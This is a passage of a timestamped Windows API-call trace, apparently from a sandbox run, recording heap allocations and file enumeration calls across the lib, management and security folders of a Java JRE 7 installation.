RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.331] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd648 [0088.331] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e368 [0088.348] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.348] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3711, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="")) returned 1 [0088.348] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.349] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd668 [0088.349] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e470 [0088.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.350] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="")) returned 1 [0088.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.350] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.350] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd688 [0088.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130e578 [0088.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f460) returned 1 [0088.351] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="")) returned 0 [0088.351] GetLastError () returned 0x12 [0088.352] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\management\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.352] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.352] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.352] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xf9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.access", cAlternateFileName="")) returned 1 [0088.352] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb28, dwReserved0=0x0, dwReserved1=0x0, cFileName="jmxremote.password.template", cAlternateFileName="")) returned 1 [0088.352] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3711, dwReserved0=0x0, dwReserved1=0x0, cFileName="management.properties", cAlternateFileName="")) returned 1 [0088.352] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="")) returned 1 [0088.352] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd30, dwReserved0=0x0, dwReserved1=0x0, cFileName="snmp.acl.template", cAlternateFileName="")) returned 0 [0088.352] GetLastError () returned 0x12 [0088.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.352] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.353] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x181, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="")) returned 1 [0088.353] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="meta-index", cAlternateFileName="")) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="net.properties", cAlternateFileName="")) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x753515e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x753515e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7539d8a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1d5e98, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.jar", cAlternateFileName="")) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xaec, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfont.properties.ja", cAlternateFileName="")) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x0, cFileName="psfontj2d.properties", cAlternateFileName="")) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744bcf20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744bcf20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2562c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.jar", cAlternateFileName="")) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746d2260, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x746d2260, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x751d4820, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3124c2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="rt.jar", cAlternateFileName="")) returned 1 [0088.354] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1 [0088.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.355] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\security"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0088.355] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0088.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x132ac20 [0088.356] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x132ac20, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x132ac20, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0088.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x132ac20) returned 1 [0088.356] NtClose (Handle=0x16c) returned 0x0 [0088.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124e2d8) returned 1 [0088.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124e2d8 [0088.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f460 [0088.357] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0088.358] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.358] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xad2, dwReserved0=0x0, dwReserved1=0x0, cFileName="blacklist", cAlternateFileName="")) returned 1 [0088.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd6a8 [0088.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250010 [0088.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.360] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1429a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cacerts", cAlternateFileName="")) returned 1 [0088.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd6c8 [0088.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12501a8 [0088.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.362] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.policy", cAlternateFileName="")) returned 1 [0088.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd6e8 [0088.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250230 [0088.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.363] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="java.security", cAlternateFileName="")) returned 1 [0088.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd708 [0088.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12502b8 [0088.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.365] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="javafx.policy", cAlternateFileName="")) returned 1 [0088.365] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.366] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f4e8 [0088.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bd728 [0088.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250340 [0088.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f4e8) returned 1 [0088.367] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy", cAlternateFileName="")) returned 1 [0088.367] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xb9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="local_policy.jar", cAlternateFileName="")) returned 1 [0088.367] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="trusted.libraries", cAlternateFileName="")) returned 1 [0088.367] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="")) returned 1 [0088.367] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x9b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="")) returned 0 [0088.367] GetLastError () returned 0x12 [0088.367] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\security\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0088.368] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.368] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744e3080, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744e3080, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744e3080, ftLastWriteTime.dwHighDateTime=0x1d2e627, 